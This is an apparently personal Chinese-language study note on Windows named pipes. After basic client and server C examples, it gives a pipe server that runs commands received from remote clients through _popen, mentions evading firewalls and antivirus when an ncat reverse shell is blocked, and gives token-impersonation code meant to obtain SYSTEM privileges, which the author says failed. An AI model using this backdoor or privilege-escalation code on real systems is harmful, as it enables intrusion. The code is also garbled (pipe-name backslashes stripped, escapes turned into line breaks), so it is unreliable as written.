参考文章:https://lengjibo.github.io/czxt2/
参考文章:https://rcoil.me/2019/11/【知识回顾】命名管道/
参考文章:https://segmentfault.com/a/1190000003116875
参考文章:https://payloads.online/archivers/2019-11-10/5
参考文章:https://www.anquanke.com/post/id/190207#h2-0
命名管道介绍:
命名管道可在同一台计算机的不同进程之间或在跨越一个网络的不同计算机的不同进程之间,支持可靠的、单向或双向的数据通信
命名管道是一个具有名称,可以单向或双面在一个服务器和一个或多个客户端之间进行通讯的管道。
命名管道的所有实例拥有相同的名称,但是每个实例都有其自己的缓冲区和句柄,用来为不同客户端通许提供独立的管道。
使用实例可使多个管道客户端同时使用相同的命名管道
命名管道的特点:
命名管道的名称在本系统中是唯一的。
命名管道可以被任意符合权限要求的进程访问。
命名管道只能在本地创建。
命名管道的客户端可以是本地进程(本地访问:.pipePipeName)或者是远程进程(访问远程:ServerNamepipePipeName)。
命名管道使用比匿名管道灵活,服务端、客户端可以是任意进程,匿名管道一般情况下用于父子进程通讯
命名管道的创建和连接:
CreateNamedPipe
ConnectNamedPipe
WaitNamedPipe
CreateFile
ReadFile
一些需要注意的事项:
首先对于创建管道的名字规范为\.pipe管道名称
,那么在代码中就需要进行转义,\\.\pipe\管道名称
创建管道的时候对管道访问的属性有三种,服务端与客户端之间的关系 双向 单向(这里分为c->s s->c)
当创建管道的属性为PIPE_ACCESS_INBOUND的时候,该管道中的数据流则是仅从客户端流向服务端的时候,此模式服务端具有对管道的GENERIC_READ访问权限,并且客户端在连接到管道CreateFile时必须指定GENERIC_WRITE访问属性
更多参考:https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createnamedpipea
再创建完管道之后,连接服务端的管道有几个方法,比如ConnectNamedPipe或CreateFile或CallNamedPipe都可以进行连接
服务端的实现:
#include<Windows.h>
#include<stdio.h>
int main(int argc, char* argv[]){
HANDLE serverPipe;
wchar_t recv_buf[1024];
DWORD rel_buf;
serverPipe = CreateNamedPipe(L"\\.\pipe\myServerPipe", PIPE_ACCESS_INBOUND, PIPE_READMODE_BYTE | PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, 1024, 1024, 0, NULL);
if (serverPipe == INVALID_HANDLE_VALUE){
printf("CreatePipe Failed");
CloseHandle(serverPipe);
}
//服务端在这里会进行堵塞,等待客户端进行连接
if (ConnectNamedPipe(serverPipe, NULL)) {
printf("ConnectNamedPipe success");
memset(recv_buf, 0, 1024);
if (ReadFile(serverPipe, recv_buf, 1024, &rel_buf, NULL)) {
printf("ReadFile Success");
}else{
printf("ReadFile Failed, Error is %s", GetLastError());
CloseHandle(serverPipe);
system("pause");
return 1;
}
}
CloseHandle(serverPipe);
return 0;
}
客户端的实现:
#include<Windows.h>
int main(int argc,char* argv[]){
HANDLE serverPipe;
DWORD num_rcv;
wchar_t buf_msg[] = L"Test for named pipe...";
// 等待进行尝试多次进行连接
if(WaitNamedPipe(L"\\.\pipe\myServerPipe",NMPWAIT_WAIT_FOREVER)){
//打开指定命名管道
serverPipe = CreateFile(L"\\.\pipe\myServerPipe", GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);// GENERIC_WRITE
//判断是否成功打开管道
if (serverPipe == INVALID_HANDLE_VALUE){
printf("CreateFile Failed
");
CloseHandle(serverPipe);
return -1;
}else{
if (WriteFile(serverPipe, buf_msg, 1024, &num_rcv, NULL)){
printf("Message sent success
");
}else{
printf("WriteFile Failed
");
CloseHandle(serverPipe);
return -1;
}
}
CloseHandle(serverPipe);
}else{
printf("WaitNamedPipe Failed");
}
system("pause");
return 0;
}
如何实现简单的C/S通信长连接传输
命名管道提供了两种基本的通信模式:字节模式和消息模式,可在CreateNamePipe()创建命名管道时分别用PIPE_TYPE_BYTE和PIPE_TYPE_MESSAGE标志进行设定
对于字节模式PIPE_TYPE_BYTE,一方在向管道写入某个数量的字节后并不能保证管道的另一方能读出等量的字节
对于消息模式PIPE_TYPE_MESSAGE,客户机和服务器则是通过一系列不连续的数据包进行数据的收发。从管道发出的每一条消息都必须作为一条完整的消息读入。
所以在此建议使用消息模式。
客户端代码:
#define _CRT_SECURE_NO_WARNINGS
#include<Windows.h>
#include<stdio.h>
int main(int argc,char* argv[]){
HANDLE serverPipe;
char cmd_buf[64];
char write_buf[1024 * 4];
DWORD dwRead;
DWORD dwWrite;
wchar_t buf_msg[] = L"Test for named pipe...";
// 等待进行尝试多次进行连接
if(WaitNamedPipe(L"\\.\pipe\myServerPipe",NMPWAIT_WAIT_FOREVER)){
//打开指定命名管道
serverPipe = CreateFile(L"\\.\pipe\myServerPipe", GENERIC_WRITE | GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);// GENERIC_WRITE
//判断是否成功打开管道
if (serverPipe == INVALID_HANDLE_VALUE){
printf("CreateFile Failed
");
CloseHandle(serverPipe);
return -1;
}else{
while (true){
printf("PipeExec > ");
//写入要执行的命令
gets(cmd_buf);
cmd_buf[strlen(cmd_buf) + 1] = ' ';
WriteFile(serverPipe, cmd_buf, strlen(cmd_buf), &dwWrite, 0);
printf("Send Command : %s
", cmd_buf);
memset(cmd_buf, 0, sizeof(cmd_buf));
//读取执行命令返回的结果
ReadFile(serverPipe, write_buf, sizeof(write_buf), &dwRead, 0);
printf("Command Data : %s
", write_buf);
memset(write_buf, 0, sizeof(write_buf));
}
}
CloseHandle(serverPipe);
}else{
printf("WaitNamedPipe Failed
");
}
system("pause");
return 0;
}
服务端代码:
#define _CRT_SECURE_NO_WARNINGS
#include<Windows.h>
#include<stdio.h>
int main(int argc, char* argv[]){
HANDLE serverPipe;
char write_buf[1024*4];
DWORD dwRead;
DWORD dwWrite;
serverPipe = CreateNamedPipe(L"\\.\pipe\myServerPipe", PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT | PIPE_ACCEPT_REMOTE_CLIENTS, PIPE_UNLIMITED_INSTANCES, 1024, 1024, 0, NULL);
if (serverPipe == INVALID_HANDLE_VALUE){
printf("CreatePipe Failed");
CloseHandle(serverPipe);
}
printf("CreateNaemedPipe success
");
//服务端在这里会进行堵塞,等待客户端进行连接
if (ConnectNamedPipe(serverPipe, NULL)) {
printf("ConnectNamedPipe success
");
memset(write_buf, 0, 1024);
while (true){
//读取客户端在管道中写入的数据,并且进行执行相对应的命令
char cmd_buf[64];
memset(cmd_buf, 0, 64);
if (!ReadFile(serverPipe, cmd_buf, sizeof(cmd_buf), &dwRead, 0)){
printf("ReadFile Success
");
printf("read data is empty,so we should exit!");
break;
}
printf("receive command : %s
", cmd_buf);
char buffer[128]; //定义缓冲区
FILE* pipe = _popen(cmd_buf, "r"); //打开管道,并执行命令
if (!pipe){
printf("_popen Failed
");
_pclose(pipe);
}
//将管道中的数据合并到write_buf中
while (!feof(pipe)) {
if (fgets(buffer, 128, pipe)){
strcat(write_buf, buffer);
}
}
_pclose(pipe);
//把执行后命令返回的数据写入到管道中 提供给客户端进行读取
if (!WriteFile(serverPipe, write_buf, strlen(write_buf), &dwWrite, NULL)){
printf("WriteFile Failed
");
break;
}
//执行命令之后,对缓冲区进行清空数据
memset(write_buf, 0, sizeof(write_buf));
memset(buffer, 0, sizeof(buffer));
//FlushFileBuffers(serverPipe); //刷新缓冲区
}
}
DisconnectNamedPipe(serverPipe);
CloseHandle(serverPipe);
return 0;
}
局域网通信:
利用场景:在 Windows 环境中,无管理员权限的情况下,对已获取权限的机器上使用 ncat 反弹一个 shell,但是遭到防火墙或反病毒程序的阻拦 。
管道实现的分离免杀
这里直接跟倾旋的文章:https://payloads.online/archivers/2019-11-10/5
设置服务端模拟客户端
为了防止滥用模仿机制,Windows不允许服务器在没有得到客户同意的情况下执行模仿。
客户进程在连接到服务器的时候可以指定一个SQOS(security quality of service),以此限制服务器进程可以执行的模拟等级
默认调用CreateFile函数访问命名管道时采用的权限就是IMPERSONATION级别,只能用于模拟本地权限,无法应用域远程访问。其中权限最高的级别为DELEGATION,当客户端模拟级别设置为此级别时,服务端可以任意模拟客户端权限,包括本地和远程
这里需要知道的一个点就是,默认情况下只有服务用户具有模拟客户端的功能,所以当我们用用户账号进行测试的时候还需要添加设置
msf中的getsystem就是利用命名管道的模拟客户端功能来获取system权限
服务端:
#include<Windows.h>
#include<stdio.h>
int main(int argc, char* argv[]){
HANDLE hPipe = NULL;
HANDLE tokenHandle = NULL;
HANDLE newtokenHandle = NULL;
STARTUPINFO startupInfo;
startupInfo.cb = sizeof(STARTUPINFO);
PROCESS_INFORMATION processInformation;
wchar_t recv_buf[1024] = { 0 };
ZeroMemory(&startupInfo, sizeof(STARTUPINFO));
ZeroMemory(&processInformation, sizeof(PROCESS_INFORMATION));
hPipe = CreateNamedPipe(L"\\.\pipe\myServerPipe", PIPE_ACCESS_INBOUND, PIPE_READMODE_BYTE | PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, 1024, 1024, 0, NULL);
if (hPipe == INVALID_HANDLE_VALUE){
printf("CreatePipe Failed");
CloseHandle(hPipe);
}
printf("[+] CreateNamedPipe success
");
//服务端在这里会进行堵塞,等待客户端进行连接
if (ConnectNamedPipe(hPipe, NULL)) {
printf("[+] ConnectNamedPipe success
");
if (ImpersonateNamedPipeClient(hPipe) == 0) {
printf("[!] Error impersonating client %d
", GetLastError());
CloseHandle(hPipe);
return -1;
}
if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &tokenHandle)) {
printf("[!] Error opening thread token %d
", GetLastError());
CloseHandle(hPipe);
return -1;
}
if (!DuplicateTokenEx(tokenHandle, TOKEN_ALL_ACCESS, NULL, SecurityDelegation, TokenPrimary, &newtokenHandle)) {
printf("[!] Error duplicating thread token %d
", GetLastError());
CloseHandle(hPipe);
return -1;
}
printf("[*] Impersonated SYSTEM user successfully
");
if (!CreateProcessWithTokenW(newtokenHandle, LOGON_NETCREDENTIALS_ONLY, L"", L"C:\windows\system32\cmd.exe", NULL, NULL, NULL, (LPSTARTUPINFOW)&startupInfo, &processInformation)) {
printf("[!] CreateProcessWithToken failed (%d).
", GetLastError());
CloseHandle(hPipe);
return -1;
}
CloseHandle(hPipe);
}
return 0;
}
利用失败,放弃